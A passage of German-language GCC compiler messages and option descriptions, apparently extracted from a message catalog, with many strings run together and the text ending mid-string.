%L ist nicht erreichbarObere Schranke zum gemeinsamen Verwenden von GanzzahlkonstantenDie obere Schranke in der letzten Dimension muss in der Referenz auf das Feld »%s« vermuteter Größe bei %L auftretenDer Wert von n in -finit-character=n muss zwischen 0 und 127 liegenEs gibt keine spezifische Funktion für das allgemeine »%s« bei %LEs gibt kein spezifisches Unterprogramm für allgemeines »%s« bei %LDies ist freie Software; die Kopierbedingungen stehen in den Quellen. Es
gibt KEINE Garantie; auch nicht für MARKTGÄNGIGKEIT oder FÜR SPEZIELLE ZWECKE.

Dies ist freie Software; die Kopierbedingungen stehen in den Quellen. Es
gibt KEINE Garantie; auch nicht für MARKTGÄNGIGKEIT oder FÜR SPEZIELLE ZWECKE.

Dieser Schalter ist veraltet; stattdessen -Werror=implicit-function-declaration verwendenDieser Schalter ist veraltet; stattdessen -Wextra verwendenDieser Schalter ist undokumentiertThread-Modell: %s
Threadprivate bei %L ist nicht SAVEdThreadprivate Variable bei %C ist ein Element eines COMMON-BlocksUnrolling drosseln, um die Zerstörung der Zielregister zu vermeiden, es sei denn, das Unrolling überwiegt diesThumb-2 iWMMXtThumb: Annahme, dass Funktionszeiger an nicht Thumb unterstützenden Code übergeben werden könnenThumb: Annahme, dass nichtstatische Funktionen von ARM-Code aus aufgerufen werden könnenThumb: Blatt-Stapelrahmen erzeugen, auch wenn nicht erforderlichThumb: Nicht-Blatt-Stapelrahmen erzeugen, auch wenn nicht erforderlichKeine GOTPLT-Referenzen zusammen mit -fpic und -fPIC verwendenZu viele Argumente in Aufruf von »%s« bei %LZu viele Argumente für %s bei %LZu viele Ziffern in STOP-Code bei %CZu viele Ziffern in Anweisungsmarke bei %CZu viele Dimensionen in Form-Spezifikation für RESHAPE bei %LZu viele Schleifenausgänge aufgezeichnetTrampolinunterstützung für CRXBedingte Speicherbefehle in unbedingte umwandelnVorzeichenbehafteten Überlauf in Addition, Subtraktion und Multiplikation abfangen (»trap«)Wenn der Stapel über das <Register> hinausgeht, abfangen (»trap«)Wenn der Stapel über das Symbol <Name> hinausgeht, abfangen (»trap«)Ganzzahldivision durch Null abfangenAlle Warnungen als Fehler behandelnZeilen mit »D« in Spalte eins als Kommentar behandelnFehlende Header-Dateien als generierte Dateien behandelnVorzeichenbehafteten Überlauf als undefiniert behandelnAngegebene Warnung als Fehler behandelnDie Eingabedatei als bereits vorverarbeitet behandeln»jcf-dump --help« für mehr Informationen verwenden.
»%s« in der Shell könnte diese Beschränkung erhöhen.
Versuchen, abgeleitete Typen so kompakt wie möglich anzuordnenAusrichtung für den angegebenen Chip oder CPU optimierenCode auf angegebenen Prozessor abstimmenDie erwartete Speicher-Wartezeit abstimmenFür angegebene Ziel-CPU oder Architektur optimierenZwei Haupt-PROGRAMme bei %L und %CZwei oder mehr Teilreferenzen mit Rang größer Null dürfen nicht bei %L angegeben werdenTyp »%s« bei %L ist ein Parameter für die BIND(C)-Prozedur »%s«, jedoch nicht interoperabel mit C, da der abgeleitete Typ »%s« nicht mit C interoperabel istTypbasierte Escape- und Alias-AnalyseTypdeklaration »%s« bei %L ist nicht C-kompatibel, aber sie ist BIND(C)Unpassender Typ in Argument »%s« bei %L; übergab %s an %sTypname »%s« bei %C kann nicht der gleiche wie ein intrinsischer Typ seinTypname »%s« bei %C ist mehrdeutigTyp des Arguments »%s« in Aufruf von »%s« bei %L sollte %s sein, nicht %sFür intrinsische Funktion »%s« angegebener Typ bei %L wird ignoriertUnpassender Typ/Rang in Argument »%s« bei %LUNIT-Spezifikation bei %L muss ein INTEGER-Ausdruck oder eine CHARACTER-Variable seinUNKNOWN in print_operand !?Spezifische INTRINSIC-Prozedur für Referenz »%s« bei %L kann nicht gefunden werdenSpezifische Funktion »%s« bei %L kann nicht aufgelöst werdenSpezifisches Unterprogramm »%s« bei %L kann nicht aufgelöst werdenNicht klassifizierbare OpenMP-Anweisung bei %CNicht klassifizierbare Anweisung bei %CAnweisung in IF-Klausel bei %C nicht klassifizierbar<Makro> undefinierenUnerwartete Anweisung %s bei %CUnerwartete Anweisung %s bei %C in INTERFACE-KörperUnerwartete Anweisung %s in BLOCK DATA bei %CUnerwartete Anweisung %s in CONTAINS-Abschnitt bei %CUnerwartete Anweisung %s in FORALL-Block bei %CUnerwartete Anweisung %s in INTERFACE-Block bei %CUnerwartete Anweisung %s in MODULE bei %CUnerwartete Anweisung %s in WHERE-Block bei %CUnerwartete CASE-Anweisung bei %CUnerwartete END-Anweisung bei %CUnerwartetes EOFUnerwartete alternative Rückgabespezifikation in Unterprogrammaufruf bei %LUnerwartetes Zeichen in Variablenliste bei %CUnerwartete Zeichen in PARAMETER-Anweisung bei %CUnerwartetes Dateiende in »%s«Unerwartetes Ende der FormatzeichenketteUnerwartetes ModulendeUnerwartetes Modulende in ZeichenkettenkonstanteUnerwartete Zeichen hinter ELSE-IF-Anweisung bei %CUnerwartete Zeichen hinter ELSE-Anweisung bei %CUnerwartete Angaben hinter Funktionsdeklaration bei %CUnerwartete Angaben in formaler Argumentliste bei %CUnerwarteter Typ in Wahrheitswert-UmwandlungUnerwartete Verwendung des Unterprogrammnamens »%s« bei %CUnidentifizierbare AufrufoperationUnbekannte Architektur »%s«Unbekannte Argumentlistenfunktion bei %LUnbekanntes Zielunbekannte innere AnweisungUnbekannter Operator »%s« bei %%LUnbekannte QuelleUnbekannter Schalter -mlong-double-%sUnbekannter Wert %qs von -mmacosx-version-minNicht erkannte Option für -finit-logical: %sNicht erkannte Option für -finit-real: %sNicht unterstützte Anweisung in WHERE bei %LUnbeendete Zeichenkonstante beginnend bei %CUngenutztes Scheinargument %s bei %LUngenutzter Parameter »%s« bei %L deklariertUngenutzte Variable »%s« bei %L deklariertObere Feldreferenz bei %L ist außerhalb der Schranken (%ld < %ld) in Dimension %dObere Feldreferenz bei %L ist außerhalb der Schranken (%ld > %ld) in Dimension %dAufruf: %s [OPTIONEN]... KLASSENNAMEmain [AUSGABEDATEI]
Aufruf: %s [Optionen] Datei...
Aufruf: gcov [OPTION]... QUELLDATEI...

Aufruf: jcf-dump [OPTION]... KLASSE...

»-Wa,OPTION« verwenden, um »OPTION« an den Assembler zu übergeben.

»-Wl,OPTION« verwenden, um »OPTION« an den Linker zu übergeben.

-G für Daten verwenden, die nicht von aktuellem Objekt definiert wurden-G für Objekt-lokale Daten verwenden128-bit long double verwenden16-Bit int verwenden16-Bit-abs-Muster verwenden32-Bit float verwenden32-Bit int verwenden32-Bit-ABI verwenden32-Bit-Gleitkommaregister verwendenAllgemeine Register in 32 Bit Breite verwenden4-Byte-Einträge in switch-Tabellen verwenden4 Media-Register verwenden4xx Halbwort-Multiplikationsbefehle verwendet4xx Befehl zur Zeichenkettensuche dlmzb verwenden64 FPRs verwenden64 GPRs verwenden64-Bit float verwenden64-Bit-ABI verwenden64-Bit-Gleitkommaregister verwendenAllgemeine Register in 64 Bit Breite verwenden64-bit long double verwenden8 Media-Register verwendenABI-reservierte Register verwendenAltiVec-Befehle verwenden»Branch Likely«-Befehle verwenden, Standard für die Architektur überschreibenCONST16-Befehle zum Laden von Konstanten verwendenEABI verwendenFUNC verwenden, um den Cache zu entleeren, bevor Stack-Trampoline aufgerufen werdenGNU libc statt uClibc verwendenRelative GP sdata/sbss-Abschnitte verwendenGP-relative Adressierung verwenden, auf um kleine Daten zuzugreifenH8/300-Ausrichtungsregeln verwendenIEEE-Arithmetik für Gleitkommavergleiche verwendenMIPS-3D-Befehle verwendenMIPS-DSP-Befehle REV 2 verwendenMIPS-DSP-Befehle verwendenMingw-spezifische Thread-Unterstützung verwendenNeon-Quad-Word (statt Double-Word) Register für Vektorisierung verwenden%reloc()-Assembleroperatoren im NewABI-Stil verwendenP-Mnemonics für statisch als verfolgt vorhergesehene Zweige verwenden»mad«-Befehle im PMC-Stil verwendenPOWER-Befehlssatz verwendenPOWER2-Befehlssatz verwendenOptionale Befehle der PowerPC-Mehrzweck-Gruppe verwendenOptionale Befehle der PowerPC-Grafik-Gruppe verwendenPowerPC V2.01 Einzelfeld-mfcr-Befehl verwendenPowerPC V2.02 Gleitkomma-Rundungsbefehle verwendenPowerPC V2.02 popcntb-Befehl verwendenPowerPC V2.05 Bytevergleichs-Befehl verwendenPowerPC-Befehlssatz verwendenPowerPC-64-Befehlssatz verwendenROM statt RAM verwendenSSE-Register-Übergabekonventionen für SF- und DF-Modus verwendenSmartMIPS-Befehle verwendenUNIX-Assemblersyntax verwendenVisuelle Befehlssatzerweiterungen für UltraSPARC verwendenVAX-FP verwendenVAXC-Strukturkonventionen verwenden__cxa_atexit verwenden, um Destruktoren zu registrieren__cxa_get_exception_ptr in Ausnahmebehandlung verwendenEinen 32-Bit-»long«-Typ verwendenEine 4-Byte-Datensatzmarkierung für unformatierte Dateien verwendenEinen 64-Bit-»long«-Typ verwendenEine Stapelschutzmethode für jede Funktion verwendenGlobale Register belegende Adressen verwendenAlternative Registernamen verwenden8-Bit-»int«-Typ verwendenEine 8-Byte-Datensatzmarkierung für unformatierte Dateien verwendenDirektwerte beliebiger Größen in Bit-Operationen zulassenBig-Endian Byte-Reihenfolge verwendenBig-Endian-Format für unformatierte Dateien verwendenSprung-und-Abbruch-Sequenzen verwenden, um auf Ganzzahldivision durch Null zu prüfenbras für ausführbare Datei < 64k verwendenAufruf und RTC für Funktionsaufrufe und Rückgaben verwendenMit Aufruf verbundene Register für Parameter und Rückgabewerte verwendenKlasse <Name> für konstante Zeichenketten verwendenSteuerungsspekulation verwendenDatenspekulation nach Neuladen verwendenDatenspekulation vor Neuladen verwendenDezimale Gleitkommabefehle verwendenAndere Aufrufkonvention mit 'RTD' verwendenModus zur direkten Adressierung für Soft-Register verwendenDirekte Referenzen gegen %gs beim Zugriff auf TLS-Daten verwendenEpsilon beachtende Gleitkomma-Vergleichsbefehle verwendenProfile von Ausdruckswerten in Optimierungen verwendenErweiterte Befehle zum Kopieren von Gleitkomma zu/von GPR bei PowerPC V2.05 verwendenf2c-Aufrufkonvention verwendenEigenschaften der gegebenen CPU verwenden und entsprechend Code planenFür angegebene CPU planen und deren Eigenschaften verwendenGleitkomma-double-Befehle verwendenFP-Register verwendenGegebenes SPARC-V9-Codemodell verwendenGegebenen Assemblerdialekt verwendenGegebenen Thread-lokalen Speicherdialekt verwendenGegebenes x86-64-Codemodell verwendenHardware-FP verwendenHardware-Divisionsbefehle auf Coldfire verwendenHardware-Gleitkomma verwendenHardware-FP verwendenHardware-Vierfach-Gleitkommabefehle verwendenSteuerungsspekulation im Block verwendenDatenspekulation im Block nach Neuladen verwendenDatenspekulation im Block vor Neuladen verwendenin/loc/out-Registernamen ausgebenIndirekte CALLXn-Befehle für große Programme verwendenIndirekte Aufrufe verwendenInline-Muster beim Speicherkopieren verwendenJSR und RTS für Funktionsaufrufe und Rückgaben verwendenSprungtabellen für hinreichend große switch-Anweisungen verwendenLittle-Endian Byte-Reihenfolge verwendenLittle-Endian-Format für unformatierte Dateien verwendenBefehle ll, sc und sync verwendenMedia-Befehle verwendenBefehle zum Multiplizieren-Addieren/Subtrahieren verwendenN als Zeilenbreite im festen Modus verwendenN als Zeilenbreite im freien Modus verwendenMS-Bitfeld-Anordnung verwendenDas eigene Format für unformatierte Dateien verwendenNeue Mnemonics für PowerPC-Architektur verwendenNormale Aufrufkonvention verwendenVerwendung von -fdefault-double-8 erfordert -fdefault-real-8Verwendung des intrinsischen Moduls »%s« bei »%C« steht mit nicht-intrinsischem vorher verwendeten Modulnamen in KonfliktVerwendung des nicht-intrinsischen Moduls »%s« bei %C steht mit vorher verwendetem intrinsischen Modulnamen in KonfliktVerwendung der Konstante NUMERIC_STORAGE_SIZE aus intrinsischem Modul ISO_FORTRAN_ENV bei %C ist mit Option %s unverträglichVerwendung der Konstante NUMERIC_STORAGE_SIZE aus intrinsischem Modul ISO_FORTRAN_ENV bei %L ist mit Option %s unverträglichOffset-Tabellen für virtuelle Methodenaufrufe verwendenAlte Mnemonics für PowerPC-Architektur verwendenNur einen TOC-Eintrag pro Prozedur verwendenGepacktes Stacklayout verwendenPaarweise-single Gleitkommabefehle verwendenPortierbare Aufrufkonventionen verwendenProfilierungsinformationen für Verzweigungswahrscheinlichkeiten verwendenPropolice als Stapelschutzmethode verwendenPush-Befehle verwenden, um ausgehende Argumente zu sichernRote Zone in x86-64-Code verwendenRegisterstapel für Parameter und Rückgabewerte verwendenRegister zur Argumentübergabe verwendenRegister r2 und r5 verwendenrjmp/rcall (beschränkter Wertebereich) auf >8K-Geräten verwendenShared Libraries verwendenEinfachen Datenspekulationstest verwendenEinfachen Datenspekulationstest für Steuerungsspekulation verwendenSimulator-runtime verwendenSoftware-Gleitkomma verwendenStapelversatz verwendenDie Standard-main-Funktion als Einsprungpunkt zum Starten verwendenBei stärkerer Ausrichtung für Doppelwort-Kopien Structs verwendenStubs für Funktionsprologe verwendenFür Funktionsprologe und -epiloge Unterprogramme verwendenDie Cray-Zeiger-Erweiterung verwendenCygwin-Schnittstelle verwendenDEC-Assemblersyntax verwendenDen RTL-Schritt zur Entfernung toten Codes verwendenDen RTL-Schritt zur Entfernung toter Speicherbereiche verwendenBit-Feld-Befehle verwendenDivisionsbefehl verwendenDie mips-tfile Nachbearbeitung verwendenDie meisten Optionen verwenden, die spezielle Fähigkeiten einschalten, solange sie durch andere Optionen erlaubt sindDen schmalstmöglichen Ganzzahltyp für Aufzählungstypen verwendenFür double die gleiche Breite wie für float verwendenTraditionelle GNU-Semantik für Inline-Funktionen verwendenTrap-Befehle verwenden, um auf Ganzzahldivision durch Null zu prüfenuClibc statt GNU libc verwendenNullerweiternde Speicherladungen verwenden, nicht vorzeichenerweiterndeIm Fix-and-Continue-Modus verwendet, um anzuzeigen, dass Objektdateien zur Laufzeit eingetauscht werden können (»swap«)Benutzerdefinierte nicht-elementare Funktion »%s« bei %L ist in WORKSHARE-Konstrukt nicht erlaubtBei %2$L referenzierter Benutzeroperator »%1$s« nicht im Modul »%3$s« gefundenProzedur für Benutzeroperator »%s« bei %L kann nicht vermutete Zeichenlänge habenProzedur für Benutzeroperator »%s« bei %L muss eine FUNKTION seinProzedur für Benutzeroperator »%s« bei %L muss mindestens ein Argument habenIBM long doubles mit erweiterter Genauigkeit werden verwendetIEEE long doubles mit erweiterter Genauigkeit werden verwendetEs werden eingebaute Spezifikationen verwendet.
darwin64-ABI wird verwendetAltes darwin-ABI wird verwendetVOIDmode bei einer AusgabeVariable »%s« bei %C kann nicht innerhalb der bei %L beginnenden Schleife redefiniert werdenVariable »%s« bei %C mit Initialisierung tritt bereits in einer DATA-Anweisung aufVariable »%s« bei %L kann nicht BIND(C) sein, weil es weder ein COMMON-Block noch mit Sichtbarkeit auf Modulebene deklariert istVariable »%s« bei %L kann nicht gleichzeitig die Attribute ALLOCATABLE und BIND(C) habenVariable »%s« bei %L kann nicht gleichzeitig die Attribute POINTER und BIND(C) habenVariable »%s« bei %L kann nicht Attribut ALLOCATABLE haben, da Prozedur »%s« BIND(C) istVariable »%s« bei %L kann kein OPTIONAL-Attribut haben, da Prozedur »%s« BIND(C) istVariable »%s« bei %L kann kein POINTER-Attribut haben, da Prozedur »%s« BIND(C) istVariable »%s« bei %L wurde keine Formatmarke zugewiesenVariable »%s« bei %L in Common-Block »%s« bei %C muss in einer C-kompatiblen Art deklariert sein, da Common-Block »%s« bind(c) istVariable »%s« bei %L muss in diesem Kontext eine Konstante seinVariable »%s« bei %L ist ein Parameter für die BIND(C)-Prozedur »%s«, könnte jedoch inkompatibel mit C seinVariable »%s« bei %L ist in COMMON, aber Initialisierung ist nur in BLOCK DATA erlaubtVariable »%s« bei %L könnte mit C inkompatibel sein, aber sie ist BIND(C)Variable »%s« kann nicht im Ausdruck bei %L auftretenVariable »%s« wurde keine Zielmarke bei %L zugewiesenVariable »%s« in Klausel %s wird in NAMELIST-Anweisung bei %L verwendetVariable »%s« in Common-Block »%s« bei %C kann nicht bind(c) sein, da sie nicht global istVariable »%s« in gemeinsamem Block »%s« bei %C muss mit einer mit C interoperablen Art deklariert sein, da der gemeinsame Block »%s« BIND(C) istVariable »%s« in gemeinsamem Block »%s« bei %L kann nicht mit BIND(C) deklariert werden da sie nicht global istVariable »%s« in gemeinsamem Block »%s« bei %L könnte inkompatibel mit C sein, obwohl gemeinsamer Block »%s« BIND(C) istVariable »%s« in Eingabeliste bei %C kann nicht INTENT(IN) seinVariable »%s« wird bei %L vor Anweisung ENTRY verwendet, in der sie ein Parameter istIn Spezifikationsausdruck verwendete Variable »%s« wird bei %L vor Anweisung ENTRY referenziert, in der sie ein Parameter istUnbekannter Variablentyp in Zuweisung bei %LVektorzuweisung an Cray-Zeigerende mit angenommener Größe bei %L ist illegalZu verwendendes Vektorbibliotheks-ABIWHERE-Zuweisungsziel bei %L hat ungültige FormWHERE-Maske bei %L hat ungültige FormKlausel WHERE/ELSEWHERE bei %L erfordert ein LOGICAL-FeldBei »extern«-Deklarationen außerhalb des Dateisichtbarkeitsbereiches warnenBei »verdächtigen« Konstrukten warnenBei @selector() ohne vorher deklarierte Methoden warnenBei C-Konstrukten, die nicht in gemeinsamer Teilmenge von C und C++ sind, warnenBei C++-Konstrukten, deren Bedeutung sich zwischen ISO C++ 1998 und ISO C++ 200x unterscheidet, warnenWarnen, wenn NULL an Argumentstellen, die als nicht-NULL erfordernd markiert sind, übergeben wirdBei PCH-Dateien, die gefunden, aber nicht benutzt werden, warnenBei aufgezählten »switch«-Anweisungen, denen ein bestimmter Fall fehlt, warnenBei leerem Körper in einer if- oder else-Anweisung warnenBei Aufrufen mit impliziter Schnittstelle warnenWarnen, wenn Funktionen in unverträgliche Typen umgewandelt werdenBei Umwandlungen, die Qualifizierer streichen, warnenBei Code, der nie ausgeführt wird, warnenBei Code warnen, der strict-aliasing-Regeln verletzen könnteBei Ganzzahldivisionen durch Null zur Übersetzungszeit warnenVor der Verwendung des veralteten AltiVec-Typen »vector long ...« warnenBei aufgezählten »switch«-Anweisungen ohne »default«-Anweisung warnenBei aufgezählten »switch«-Anweisungen ohne »default«, denen ein Fall fehlt, warnenBei Merkmalen, die in traditionellem C nicht verfügbar sind, warnenBei Formatstrings, die keine Literale sind, warnenBei Formatstrings, die NUL-Bytes enthalten, warnenBei ohne Typspezifizierung in Funktionen im K&R-Stil deklarierten Funktionsparametern warnenBei Arithmetik mit Funktionszeigern warnenBei Funktionen, die Kandidaten für __attribute__((noreturn)) sind, warnenBei Funktionen, die Kandidaten für Formatattribute sein könnten, warnenVor globalen Funktionen ohne vorherige Deklaration warnenBei globalen Funktionen ohne Prototypen warnenBei impliziten Funktionsdeklarationen warnenBei unpassender Attributverwendung warnenBei ungültigen Benutzungen des Makros »offsetof« warnenBei in der Hauptdatei definierten, ungenutzten Makros warnenBei fehlendem kaufmännischen Und in fortgesetzten Zeichenkonstanten warnenBei fehlenden Feldern in struct-Initialisierungen warnenBei Pragmamissbrauch warnenBei mehreren Deklarationen des gleichen Objektes warnenBei nicht-normalisierten Unicode-Zeichenketten warnenBei nicht-virtuellen Destruktoren warnenBei Optimierungen, die annehmen, dass vorzeichenbehafteter Überlauf undefiniert ist, warnenBei Überlauf in arithmetischen Ausdrücken warnenBei überladenen virtuellen Funktionsnamen warnenBeim Überschreiben von Initialisierungen ohne Seiteneffekte warnenWarnen, wenn Zeigerumwandlungen die Ausrichtung vergrößernBei möglichem Aliasing von Dummy-Argumenten warnenVor möglichen Sicherheitsproblemen mit Formatfunktionen warnenBei möglichen Verstößen gegen Sequenzpunktregeln warnenBei möglicherweise fehlenden Klammern um Initialisierungen warnenBei möglicherweise fehlenden Klammern warnenBei möglicherweise geschachtelten Blockkommentaren und C++-Kommentaren, die mehr als eine physikalische Zeile umfassen, warnenBei Unregelmäßigkeiten in printf/scanf/strftime/strfmon-Formatstrings warnenBei zurückgegebenen Strukturen, Unions oder Feldern warnenBei Vergleichen von vorzeichenbehaftet mit vorzeichenlos warnenBei verirrten Symbolen hinter #elif und #endif warnenBei strftime-Formaten, die auf Jahreszahlen mit 2 Stellen hinweisen, warnenVor Indizes mit Typ »char« warnenVor verdächtigen Deklarationen von »main« warnenVor verdächtigem Gebrauch von Speicheradressen warnenBei Dingen, die sich bei der Übersetzung mit einem ABI-konformen Compiler ändern werden, warnenBei abgeschnittenen Zeichenausdrücken warnenBei abgeschnittenen Quelltextzeilen warnenBei als Wächter verwendetem, nicht umgewandeltem NULL warnenBei Unterlauf numerischer Konstantenausdrücke warnenBei nicht initialisierten automatischen Variablen warnenBei Funktionsdeklarationen ohne Prototyp warnenBei nicht erkannten Pragmas warnenBei Verwendung von Zeichenkonstanten mit mehreren Zeichen warnenBei durch den Benutzer angegebenen Einfügepfaden, die nicht vorhanden sind, warnenBei Verwendungen von Deklarationen mit __attribute__((deprecated)) warnenBei Variablen, die von »longjmp« oder »vfork« geändert werden könnten, warnenBei Variablen, die mit sich selbst initialisiert werden, warnenBei Verstößen gegen die Stil-Richtlinien von »Effective C++« warnenBei Formaten der Länge null warnenBei impliziten Typumwandlungen zwischen vorzeichenbehafteten und vorzeichenlosen Ganzzahlen warnenBei impliziten Typumwandlungen warnen, die einen Wert ändern könntenBei veralteter Verwendung in einer Deklaration warnenWarnen, wenn .class-Dateien veraltet sindWarnen, wenn eine Typumwandlung im C-Stil im Programm verwendet wirdWarnen, wenn ein Vergleich durch beschränkten Wertebereich des Datentyps stets »wahr« oder »unwahr« istWarnen, wenn veraltetes Compiler-Merkmal, Klasse, Methode oder Feld verwendet wirdWarnen, wenn eine Funktion alloca verwendet oder ein Feld dynamischer Größe erzeugtWarnen, wenn ein Selektor mehrere Methoden hatWarnen, wenn Rahmengröße einer einzelnen Funktion die gegebene Rahmengröße überschreitetWarnen, wenn Zeichenkette länger als größte vom Standard angegebene portable Länge istWarnen, wenn ein Feld veränderbarer Länge verwendet wirdWarnen, wenn auf ein Feld außerhalb der Grenzen zugegriffen wirdWarnen, wenn ein Objekt größer als <Anzahl> Bytes istWarnen, wenn eine Parameterdefinition im alten Stil verwendet wirdWarnen, wenn ein undefiniertes Makro in einer #if-Anweisung verwendet wirdWarnen, wenn veraltete Leeranweisungen gefunden werdenWarnen, wenn geerbte Methoden nicht implementiert sindBei unnötig angegebenen Modifizierern warnenBei zu vielen Argumenten für eine Funktion (anhand Formatzeichenkette) warnenBei Test von Gleitkommawerten auf Gleichheit warnenWarnen, wenn Schleife wegen nichttrivialer Annahmen nicht optimiert werden kann.Warnen, wenn Trigraphs auftreten, die die Bedeutung des Programmes beeinflussen könntenWenn Typsignaturen der Kandidatenmethoden nicht exakt passen, warnenWenn Profile in -fprofile-use nicht passen, warnen statt Fehler meldenBei Prototypen, die zu Typumwandlungen führen, warnen, wenn sich diese vom Fall ohne Prototypen unterscheidenWarnen, wenn eine Deklaration keinen Typ angibtWarnen, wenn eine Deklaration hinter einer Anweisung gefunden wirdWarnen, wenn eine Funktion ungenutzt bleibtWarnen, wenn ein Funktionsparameter nicht verwendet wirdWarnen, wenn eine Marke ungenutzt bleibtWarnen, wenn ein logischer Operator verdächtigerweise immer zu »wahr« oder »falsch« auswertetWarnen, wenn sich ein Zeiger im Vorzeichenbesitz in einer Zuweisung unterscheidetBei Typkonvertierung von Zeiger auf Ganzzahl anderer Breite warnenWarnen, wenn Registervariable als »volatile« deklariert istWarnen, wenn ein Stapelrahmen größer als die angegebene Größe istWarnen, wenn eine Variable nicht verwendet wirdWarnen, wenn alle Konstruktoren und Destruktoren privat sindWarnen, wenn ein Ausdruckswert nicht verwendet wirdWarnen, wenn eine inline-Funktion nicht als solche erzeugt werden kannWarnen, wenn ein Optimierungsdurchgang ausgeschaltet istBei Umwandlung des Typs von Zeigern auf Elementfunktionen warnenWarnen, wenn Nicht-Template-Friend-Funktionen innerhalb eines Templates angegeben werdenWarnen, wenn Stackzerstörungsschutz nicht ausgegeben wirdWarnen, wenn eine lokale Variable eine andere überdecktWarnen, wenn Überladung von vorzeichenbehaftet zu vorzeichenlos führtWarnen, wenn Auffüllen benötigt wird, um Strukturelemente auszurichtenWarnen, wenn der Compiler Code umsortiertWarnen, wenn das »packed«-Attribut keine Auswirkung auf Strukturanordnung hatBei Typumwandlung in Zeiger von Ganzzahl anderer Breite warnenBei Standardrückgabetyp »int« für Funktionen (C) und inkonsistenten Rückgabetypen (C++) warnenImmer warnen, wenn eine Objective-C-Zuweisung vom Garbage Collector abgefangen wirdWarnen, wenn Typqualifizierer ignoriert werden.Warnung:Wenn »signed« und »unsigned« nicht angegeben wurden, das Bitfeld vorzeichenbehaftet machenWenn »signed« und »unsigned« nicht gegeben sind, das Bitfeld vorzeichenunbehaftet machenBei Erzeugung von -mabicalls - Code den Code für gemeinsam genutzte Bibliotheken tauglich machenWenn möglich, keine Stapelrahmen erzeugenBeim Durchlaufen von CSE: bedingten Sprüngen folgenBeim Durchlaufen von CSE: Sprüngen zu ihren Zielen folgenWenn auf 1 gesetzt, werden teure Methoden zum Beseitigen aller überflüssigen Nebenbedingungen verwendetOb kanonische Typen zu verwenden sindWährend des Setzens des Signalhandlers: %mWährend des Setzens des Signalstapels: %mOhne Auffüllen gibt es nicht genügend Elemente in eingebauter RESHAPE-Quelle bei %L um zur Form zu passenErrata für VR4130 mflo/mfhi beachten und umgehenUmgehung einer Hardwarebesonderheit mit zusätzlichen NOPs vor einemEinen frühen 4300-Hardware-Bug umgehenFehler in Multiplikationsbefehl umgehenBestimmte R4000-Errata umgehenBestimmte R4400-Errata umgehenBestimmte VR4120-Errata beachten und umgehenFehler früher SB-1 Revision 2 Kerne umgehenHardware-Multiplikationsfehler umgehenAbhängigkeiten-Ausgabe in angegebene Datei schreibenModul %s in Zeile %d, Spalte %d wird geschrieben: %sFalsche Liste der beendeten Schleifen für Kante %d->%dXXX Eintritt in pop_everything ()
XXX is_class_level != (current_scope == class_scope)
XXX pop_everything () wird verlassen
Null ist keine gültige Anweisungsmarke bei %C[%s wird verlassen]
[%s kann nicht gefunden werden][ausgeschaltet][eingeschaltet][super ...] muss in einem Methodenkontext auftretenAttribut __BELOW100__ nicht mit Speicherklasse »auto« erlaubt__builtin_eh_return für dieses Ziel nicht unterstützt__builtin_saveregs wird für dieses Teilziel nicht unterstützt__builtin_saveregs wird von diesem Ziel nicht unterstützt__is_convertible_to__label__-Deklarationen sind nur im Funktionsgültigkeitsbereich erlaubt»Attribut »%s« kann nur auf Funktionen angewandt werdenArgument des Attributs »%s« ist keine GanzzahlkonstanteArgument des Attributs »%s« sollte zwischen 18 und 255 seinAttribut »%s« kann nicht für lokale Variablen angegeben werdenAttribut »%s« wird ignoriertAttribut »%s« wird für Ziel R8C nicht unterstütztAttribut »%s« gilt nur für FunktionenAttribut »%s« bezieht sich nur auf VariablenEine Typumwandlung, die weder zu ganzzahligen noch Aufzählungstypen führt, kann nicht in einem Konstantenausdruck auftretenEin Element einer Struktur oder Union kann nicht variabel modifizierten Typ habenEine Parameterliste mit Auslassung passt nicht zu einer leeren Parameternamenslistendeklarationeine Speicherklasse kann nur für Objekte und Funktionen angegeben werdeneine %<using%>-Deklaration kann keine Template-ID angeben. Stattdessen %<using %D%> versuchenabnormale Kanten ohne Zweck in bb %iAbbruch in %s, bei %s:%dabstrakter Deklarator %qT als Deklaration verwendetAkkumulator ist keine GanzzahlkonstanteAkkumulatorzahl außerhalb der GrenzenAdressbereich von %q+D in Konflikt mit vorheriger DeklarationAdresse der Register-Variablen %qD angefordertAdresse der globalen Variablen %qD angefordertAdresse der globalen Register-Variable %qs angefordertAdresse der lokalen Variable %q+D zurückgegebenAdresse der Register-Variablen %qD angefordertAdresse der Register-Variablen %qs angefordertAdressversatz ist keine KonstanteAdressoperand erfordert Beschränkung für X-, Y- oder Z-RegisterAdresse für %qD angefordert, was als %<register%> deklariert istAdresse genommen, aber ADDRESSABLE-Bit nicht gesetztnach vorheriger Spezifikation in %q+#DAggregat %q#D hat unvollständigen Typ und kann nicht definiert werdenzusammengesetzer Wert verwendet, wo »complex« erwartet wurdezusammengesetzten Wert verwendet, wo Festkomma erwartet wurdezusammengesetzten Wert verwendet, wo Gleitkomma erwartet wurdezusammengesetzter Wert verwendet, wo Ganzzahl erwartet wurdeAlias-Argument ist keine ZeichenketteAlias-Definitionen werden nicht in Mach-O unterstützt; ignoriertAusrichtung (%u) für %s überschreitet maximale Ausrichtung für gobale gemeinsame Daten. Es wird %u verwendetAusrichtung für %q+D muss mindestens %d seinAusrichtung für %q+D wurde zuvor als %d angegeben und kann nicht verringert werdenFür %q+D darf keine Ausrichtung angegeben werdenAusrichtung muss eine kleine Zweierpotenz sein, nicht %dAusrichtung von %q+D ist größer als maximale Objektdateiausrichtung. %d verwendetAusrichtung der Feldelemente ist größer als Elementgrößealle Elementfunktionen in Klasse %qT sind privatParameter alloc_size außerhalb des Wertebereichesmacht eingebaute Deklaration %q#D mehrdeutigmacht alte Deklaration %q+#D mehrdeutigmehrdeutige Abkürzung %smehrdeutige Klassentemplate-Instanziierung für %q#Tmehrdeutige Umwandlung für Feldindexmehrdeutige Standard-Typumwandlung von %qTmehrdeutige Templatespezialisierung %qD für %q+DEin Argumenttyp mit Standard-Promotion passt nicht zu leerer ParameternamenslistendeklarationAnachronismus: anachronistische Basisklasseninitialisierung im alten Stilanonymes %s innerhalb Parameterliste deklariertanonymes struct nicht innerhalb eines benannten Typsanonyme Union ohne ElementAnwendung von #pragma weak %q+D nach erster Benutzung führt zu nicht spezifiziertem Verhaltenzu formatierendes Argument ist nicht %<...%>Argument %d von %qE könnte Kandidat für Formatattribut seinArgument %q+D könnte von »longjmp« oder »vfork« zerstört werdenArgument %qD passt nicht zu eingebautem PrototypenArgument %qD passt nicht zum PrototypenArgument %qd ist keine KonstanteArgument %qs für  %<-Wnormalized%> nicht erkanntArgument %qs für  %<-femit-struct-debug-detailed%> nicht 